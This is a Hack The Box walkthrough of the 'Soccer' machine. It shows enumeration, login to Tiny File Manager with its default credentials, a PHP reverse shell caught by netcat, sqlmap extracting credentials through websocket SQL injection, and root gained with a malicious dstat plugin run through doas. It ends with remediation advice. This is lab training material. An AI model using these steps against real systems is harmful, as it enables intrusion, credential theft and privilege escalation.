Hack The Box Walkthrough - Soccer
This was an easy machine where I exploited LFI, SQL Injection, and some insecure configurations.
- Room: Soccer
- Difficulty: Easy
- URL: https://app.hackthebox.com/machines/Soccer
- Author: sau123
Enumeration
As always, I started the machine by checking for open ports.
$ rustscan -a target -- -A | tee rust.txt
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
[~] The config file is expected to be at "/home/ehogue/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.11.194:22
Open 10.10.11.194:80
Open 10.10.11.194:9091
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p ")
...
Scanned at 2023-01-24 18:25:42 EST for 19s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChXu/2AxokRA9pcTIQx6HKyiO0odku5KmUpklDRNG+9sa6olMd4dSBq1d0rGtsO2rNJRLQUczml6+N5DcCasAZUShDrMnitsRvG54x8GrJyW4nIx4HOfXRTsNqImBadIJtvIww1L7H1DPzMZYJZj/oOwQHXvp85a2hMqMmoqsljtS/jO3tk7NUKA/8D5KuekSmw8
m1pPEGybAZxlAYGu3KbasN66jmhf0ReHg3Vjx9e8FbHr3ksc/MimSMfRq0lIo5fJ7QAnbttM5ktuQqzvVjJmZ0+aL7ZeVewTXLmtkOxX9E5ldihtUFj8C6cQroX69LaaN/AXoEZWl/v1LWE5Qo1DEPrv7A6mIVZvWIM8/AqLpP8JWgAQevOtby5mpmhSxYXUgyii5xRAnvDWwkbwxhKcBIzVy4x5TXinVR7FrrwvKmNA
G2t4lpDgmryBZ0YSgxgSAcHIBOglugehGZRHJC9C273hs44EToGCrHBY8n2flJe7OgbjEL8Il3SpfUEF0=
| 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIy3gWUPD+EqFcmc0ngWeRLfCr68+uiuM59j9zrtLNRcLJSTJmlHUdcq25/esgeZkyQ0mr2RZ5gozpBd5yzpdzk=
| 256 5797565def793c2fcbdb35fff17c615c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ2Pj1mZ0q8u/E8K49Gezm3jguM3d8VyAYsX0QyaN6H/
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
9091/tcp open xmltec-xmlmail? syn-ack
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Tue, 24 Jan 2023 23:25:56 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
...
Nmap done: 1 IP address (1 host up) scanned in 18.97 seconds
There were three open ports.
- 22 - SSH
- 80 - HTTP
- 9091 - Looked like an HTTP server
The web server on port 80 was redirecting to βhttp://soccer.htb/β so I added that to my hosts file and scanned for hidden pages.
$ feroxbuster -u http://soccer.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -o ferox.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.7.3
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://soccer.htb
π Threads β 50
π Wordlist β /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
π Status Codes β [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.7.3
π Config File β /etc/feroxbuster/ferox-config.toml
πΎ Output File β ferox.txt
π HTTP methods β [GET]
π Recursion Depth β 4
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
200 GET 147l 526w 6917c http://soccer.htb/
403 GET 7l 10w 162c http://soccer.htb/.html
301 GET 7l 12w 178c http://soccer.htb/tiny => http://soccer.htb/tiny/
301 GET 7l 12w 178c http://soccer.htb/tiny/uploads => http://soccer.htb/tiny/uploads/
200 GET 96l 1750w 0c http://soccer.htb/tiny/
...
[####################] - 57s 189264/189264 0s found:125 errors:0
[####################] - 48s 63088/63088 1312/s http://soccer.htb/
[####################] - 49s 63088/63088 1280/s http://soccer.htb/tiny/
[####################] - 49s 63088/63088 1286/s http://soccer.htb/tiny/uploads/
Local File Inclusion (LFI)
I opened a browser and looked at the website on port 80.
It took me to what looked like a static site. FeroxBuster had found something on β/tinyβ, so I looked at that.
It contained an instance of Tiny File Manager. I immediately thought about LFI. But I needed to log in first. I tried basic SQL Injection and some simple credentials. But that failed.
I looked for default credentials and found them in the documentation.
* Admin user: admin/admin@123
* Normal user: user/12345
I tried the admin credentials, and they worked.
The application allowed uploading files. My first attempts were rejected because I could not write to the webroot. I looked in the β/tinyβ folder and saw an β/uploadβ folder. I tried to upload a PHP file there.
Once the file was uploaded, I clicked on the βOpenβ link to view the file. It opened and printed only βINβ, which confirmed that the code was executed.
I uploaded a PHP reverse shell, started a Netcat listener, and opened the uploaded file.
$ nc -klvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.194] 52404
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
23:51:48 up 11:57, 0 users, load average: 0.00, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
I was on the server.
SQL Injection
Once on the server, I started looking around. There was a user called βplayerβ, but I could not read their home folder.
I looked for some time without finding anything. Then I went to the nginx configuration and found a second website.
www-data@soccer:~/html$ cat /etc/nginx/sites-enabled/soc-player.htb
server {
listen 80;
listen [::]:80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
I added βsoc-player.soccer.htbβ to my hosts file and loaded that site.
It was the same site as before, with some additional menu options. The Match tab showed some upcoming games. I create an account and logged in the website.
Once connected, I was taken to a page where I was given a ticket ID, and I could check for other tickets.
The page was making a websocket request to port 9091 to check if the ticket existed or not.
I tried SQL Injection, and it worked.
I was about to write a script to extract the data, but I decided to check if sqlmap could exploit websockets.
$ sqlmap -u "ws://soc-player.soccer.htb:9091" --data='{"id":"123*"}'
___
__H__
___ ___[,]_____ ___ ___ {1.7#stable}
|_ -| . ['] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not re
sponsible for any misuse or damage caused by this program
[*] starting @ 19:16:51 /2023-01-25/
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q]
JSON data found in POST body. Do you want to process it? [Y/n/q]
[19:16:53] [INFO] testing connection to the target URL
[19:16:56] [INFO] testing if the target URL content is stable
[19:16:56] [INFO] target URL content is stable
[19:16:56] [INFO] testing if (custom) POST parameter 'JSON #1*' is dynamic
[19:16:56] [WARNING] (custom) POST parameter 'JSON #1*' does not appear to be dynamic
[19:16:57] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON #1*' might not be injectable
[19:16:57] [INFO] testing for SQL injection on (custom) POST parameter 'JSON #1*'
[19:16:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:16:57] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[19:16:57] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[19:16:58] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[19:16:59] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[19:16:59] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[19:17:00] [INFO] testing 'Generic inline queries'
[19:17:00] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[19:17:00] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[19:17:01] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[19:17:01] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[19:17:12] [INFO] (custom) POST parameter 'JSON #1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[19:17:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:17:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:17:27] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[19:17:34] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[19:17:34] [INFO] checking if the injection point on (custom) POST parameter 'JSON #1*' is a false positive
(custom) POST parameter 'JSON #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 96 HTTP(s) requests:
---
Parameter: JSON #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"id":"123 AND (SELECT 3483 FROM (SELECT(SLEEP(5)))LsCb)"}
---
[19:17:53] [INFO] the back-end DBMS is MySQL
[19:17:53] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
back-end DBMS: MySQL >= 5.0.12
[19:17:54] [INFO] fetched data logged to text files under '/home/ehogue/.local/share/sqlmap/output/soc-player.soccer.htb'
[*] ending @ 19:17:54 /2023-01-25/
It was doing blind injection which is slow. But still quicker than writing a script. I extracted the database schema.
$ sqlmap -u "ws://soc-player.soccer.htb:9091" --data='{"id":"123*"}' --schema
___
__H__
___ ___[']_____ ___ ___ {1.7#stable}
|_ -| . [(] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:20:10 /2023-01-25/
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q]
JSON data found in POST body. Do you want to process it? [Y/n/q]
[19:20:13] [INFO] resuming back-end DBMS 'mysql'
[19:20:13] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"id":"123 AND (SELECT 3483 FROM (SELECT(SLEEP(5)))LsCb)"}
---
...
[19:20:28] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
5
[19:20:59] [INFO] retrieved: information_schema
[19:22:16] [INFO] retrieved: performance_schema
[19:24:13] [INFO] retrieved: sys
[19:24:37] [INFO] retrieved: soccer_db
[19:25:45] [INFO] fetching tables for databases: 'information_schema, mysql, performance_schema, soccer_db, sys'
[19:25:45] [INFO] fetching number of tables for database 'soccer_db'
[19:25:45] [INFO] retrieved: 1
[19:25:48] [INFO] retrieved: accounts
...
And lastly, I asked it to dump the accounts table in the soccer database.
$ sqlmap -u "ws://soc-player.soccer.htb:9091" --data='{"id":"123*"}' -D soccer_db -T accounts --dump
___
__H__
___ ___[,]_____ ___ ___ {1.7#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:30:02 /2023-01-25/
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q]
JSON data found in POST body. Do you want to process it? [Y/n/q]
[19:30:04] [INFO] resuming back-end DBMS 'mysql'
[19:30:04] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"id":"123 AND (SELECT 3483 FROM (SELECT(SLEEP(5)))LsCb)"}
---
...
[19:30:21] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
4
[19:30:21] [INFO] retrieved: id
[19:30:38] [INFO] retrieved: email
[19:30:56] [INFO] retrieved: username
[19:31:27] [INFO] retrieved: password
[19:32:02] [INFO] fetching entries for table 'accounts' in database 'soccer_db'
[19:32:02] [INFO] fetching number of entries for table 'accounts' in database 'soccer_db'
[19:32:02] [INFO] retrieved: 1
[19:32:04] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
player@player.htb
[19:33:22] [INFO] retrieved: 1324
[19:33:38] [INFO] retrieved: REDACTED
[19:34:58] [INFO] retrieved: player
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | REDACTED | player |
+------+-------------------+----------------------+----------+
[19:35:24] [INFO] table 'soccer_db.accounts' dumped to CSV file '/home/ehogue/.local/share/sqlmap/output/soc-player.soccer.htb/dump/soccer_db/accounts.csv'
[19:35:24] [INFO] fetched data logged to text files under '/home/ehogue/.local/share/sqlmap/output/soc-player.soccer.htb'
[*] ending @ 19:35:24 /2023-01-25/
I connected to the server with the extracted credentials.
$ ssh player@target
The authenticity of host 'target (10.10.11.194)' can't be established.
ED25519 key fingerprint is SHA256:PxRZkGxbqpmtATcgie2b7E8Sj3pw1L5jMEqe77Ob3FE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'target' (ED25519) to the list of known hosts.
player@target's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Jan 26 00:36:23 UTC 2023
System load: 0.0
Usage of /: 72.1% of 3.84GB
Memory usage: 22%
Swap usage: 0%
Processes: 232
Users logged in: 0
IPv4 address for eth0: 10.10.11.194
IPv6 address for eth0: dead:beef::250:56ff:feb9:2185
...
Last login: Tue Dec 13 07:29:10 2022 from 10.10.14.19
player@soccer:~$ ls
user.txt
player@soccer:~$ cat user.txt
REDACTED
Exploiting dstat
Once connected as player, I started looking at ways to get root. I looked around the server, checking for sudo, suid, binaries, cronjobs, running programs, β¦ I did not find anything that would help me elevate my privileges.
I downloaded LinPEAS on the server and ran it.
ββββββββββββ£ Checking sudo tokens
β https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens
ptrace protection is enabled (1)
gdb wasn't found in PATH, this might still be vulnerable but linpeas won't be able to check it
ββββββββββββ£ Checking doas.conf
permit nopass player as root cmd /usr/bin/dstat
I could use doas to run dstat as root.
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
player@soccer:~$ doas -u root /usr/bin/dstat
You did not select any stats, using -cdngy by default.
--total-cpu-usage-- -dsk/total- -net/total- ---paging-- ---system--
usr sys idl wai stl| read writ| recv send| in out | int csw
3 3 92 2 0|2360k 279k| 0 0 | 0 0 | 488 951
1 0 99 0 0| 0 0 | 572B 1198B| 0 0 |1946 5911
0 0 100 0 0| 0 0 | 192B 478B| 0 0 | 271 591
0 0 99 0 0| 0 56k| 132B 436B| 0 0 | 255 487
1 0 99 0 0| 0 0 | 132B 444B| 0 0 | 255 484
0 0 100 0 0| 0 0 | 132B 436B| 0 0 | 237 461
I looked at dstat to see if it could be used to run some code. I could list a bunch of plugins, but the folder containing them was not writable.
player@soccer:~$ doas -u root /usr/bin/dstat --list
internal:
aio,cpu,cpu-adv,cpu-use,cpu24,disk,disk24,disk24-old,epoch,fs,int,int24,io,ipc,load,lock,mem,mem-adv,net,page,page24,proc,raw,socket,swap,swap-old,sys,tcp,time,udp,unix,vm,vm-adv,zones
/usr/share/dstat:
battery,battery-remain,condor-queue,cpufreq,dbus,disk-avgqu,disk-avgrq,disk-svctm,disk-tps,disk-util,disk-wait,dstat,dstat-cpu,dstat-ctxt,dstat-mem,fan,freespace,fuse,gpfs,gpfs-ops,helloworld,ib,
innodb-buffer,innodb-io,innodb-ops,jvm-full,jvm-vm,lustre,md-status,memcache-hits,mongodb-conn,mongodb-mem,mongodb-opcount,mongodb-queue,mongodb-stats,mysql-io,mysql-keys,mysql5-cmds,mysql5-conn,
mysql5-innodb,mysql5-innodb-basic,mysql5-innodb-extra,mysql5-io,mysql5-keys,net-packets,nfs3,nfs3-ops,nfsd3,nfsd3-ops,nfsd4-ops,nfsstat4,ntp,postfix,power,proc-count,qmail,redis,rpc,rpcd,sendmail,
snmp-cpu,snmp-load,snmp-mem,snmp-net,snmp-net-err,snmp-sys,snooze,squid,test,thermal,top-bio,top-bio-adv,top-childwait,top-cpu,top-cpu-adv,top-cputime,top-cputime-avg,top-int,top-io,top-io-adv,top-latency,
top-latency-avg,top-mem,top-oom,utmp,vm-cpu,vm-mem,vm-mem-adv,vmk-hba,vmk-int,vmk-nic,vz-cpu,vz-io,vz-ubc,wifi,zfs-arc,zfs-l2arc,zfs-zil
player@soccer:~$ ls -ld /usr/share/dstat/
drwxr-xr-x 3 root root 4096 Nov 17 09:09 /usr/share/dstat/
I check GTFOBins for known exploits but did not find one there. I search for one and found something. dstat also read plugins from /usr/local/share/dstat/
, and I could write there.
player@soccer:~$ ls -ld /usr/local/share/dstat/
drwxrwx--- 2 root player 4096 Dec 12 14:53 /usr/local/share/dstat/
I created a plugin file in that directory and ran it in dstat to get root.
player@soccer:~$ cat /usr/local/share/dstat/dstat_exploit.py
import os
os.system('/usr/bin/bash -p')
player@soccer:~$ doas -u root /usr/bin/dstat --exploit
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
root@soccer:/home/player# whoami
root
root@soccer:/home/player# cat /root/root.txt
REDACTED
Securing The Box
The first issues I found on the box were with Tiny File Manager. The site used the default credentials. They should have been changed before putting the app online. The code should probably not have default credentials at all. People will forget and end up with insecure sites. It would be better to force users to set their own passwords.
The site allows uploading any type of file and putting them in the web root. This is a perfect recipe to get RCE. The code allows setting an allowed list of extensions, but that is not used on this box. This list should be set to a very limited list of accepted extensions.
And the uploaded files should not be placed in the web root. Tiny allows changing where the files are stored, but the default value and the examples are using the web root.
Next, the ticket page of the application takes user input and appends it directly to an SQL query. The code should use prepared statements. There are no reasons not to use them.
(async () => {
try {
const query = `Select id,username,password FROM accounts where id = ${id}`;
await connection.query(query, function (error, results, fields) {
if (error) {
ws.send("Ticket Doesn't Exist");
} else {
if (results.length > 0) {
ws.send("Ticket Exists")
} else {
ws.send("Ticket Doesn't Exist")
}
}
});
} catch (error) {
ws.send("Error");
}
})()
The box also has problems with passwords. First, playerβs password is stored in clear in the database. It should have been hashed. The password is also reused. The same password is used in the application, and for the user on the server.
Finally, there were issues with dstat. All the folders where the application reads plugins should be protected. Users should not be able to add or change files in them. And did a user really need to run this application as root? They should be able to monitor their processes, but not the processes of everyone on the box.